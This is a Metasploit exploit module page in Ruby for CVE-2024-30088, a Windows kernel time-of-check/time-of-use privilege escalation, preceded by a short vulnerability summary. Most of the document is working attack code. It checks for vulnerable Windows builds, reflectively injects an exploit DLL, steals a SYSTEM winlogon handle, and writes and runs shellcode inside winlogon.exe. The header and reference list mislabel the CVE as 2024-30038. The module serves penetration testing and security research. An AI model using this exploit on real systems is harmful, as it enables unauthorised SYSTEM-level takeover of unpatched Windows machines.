Authored by jheysel-r7, tykawaii98 | Site metasploit.com

CVE-2024-30088 is a Windows kernel elevation of privilege vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2022. The vulnerability exists inside the function called AuthzBasepCopyoutInternalSecurityAttributes specifically when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION of the current token object to user mode. When the kernel performs the copy of the SecurityAttributesList, it sets up the list of the SecurityAttributes structure directly to the user supplied pointed. It then calls RtlCopyUnicodeString and AuthzBasepCopyoutInternalSecurityAttributeValues to copy out the names and values of the SecurityAttribute leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.

advisories | CVE-2024-30038

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Version
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes',
'Description' => %q{
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
Windows 11 and Windows Server 2022.

The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
},
'Author' => [
'tykawaii98', # PoC (Bùi Quang Hiếu)
'jheysel-r7' # msf module
],
'References' => [
[ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'],
[ 'CVE', '2024-30038']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Privileged' => true,
'SessionTypes' => [ 'meterpreter' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DisclosureDate' => '2024-06-11',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.
}, # After the first run the original session will usually die if the module is rerun against the same session.
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_get_processes
stdapi_railgun_api
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_protect
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
)
)
end

def target_compatible?(version)
# NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) ||
version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) ||
version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) ||
version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) ||
version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) ||
version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) ||
version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) ||
version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) ||
version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) ||
version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950'))

false
end

def check
return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows'

version = get_version_info
return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version)

CheckCode::Safe("Version detected: #{version}")
end

def get_winlogon_pid
processes = client.sys.process.get_processes
winlogon_pid = nil
processes.each do |process|
if process['name'].downcase == 'winlogon.exe'
winlogon_pid = process['pid']
break
end
end

winlogon_pid
end

def get_winlogon_handle
pid = session.sys.process.getpid
process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
address = process_handle.memory.allocate(8)

thread = execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),
address,
pid
)

calls = [
['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],
['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],
]

results = session.railgun.multi(calls)
winlogon_handle = nil

if results.last['lpExitCode'] == 0
print_good('The exploit was successful, reading SYSTEM token from memory...')
current_memory = process_handle.memory.read(address, 8)
winlogon_handle = current_memory.unpack('Q<').first
end

session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)
winlogon_handle
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

version = get_version_info
unless target_compatible?(version)
fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}")
end

winlogon_handle = get_winlogon_handle
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle
print_good("Successfully stole winlogon handle: #{winlogon_handle}")

winlogon_pid = get_winlogon_pid
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid
print_good("Successfully retrieved winlogon pid: #{winlogon_pid}")

host = session.sys.process.new(winlogon_pid, winlogon_handle)
shellcode = payload.encoded
shell_addr = host.memory.allocate(shellcode.length)
host.memory.protect(shell_addr)

if host.memory.write(shell_addr, shellcode) < shellcode.length
fail_with(Failure::UnexpectedReply, 'Failed to write shellcode')
end

vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})")
thread = host.thread.create(shell_addr, 0)
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
fail_with(Failure::UnexpectedReply, 'Unable to create thread')
end
end
end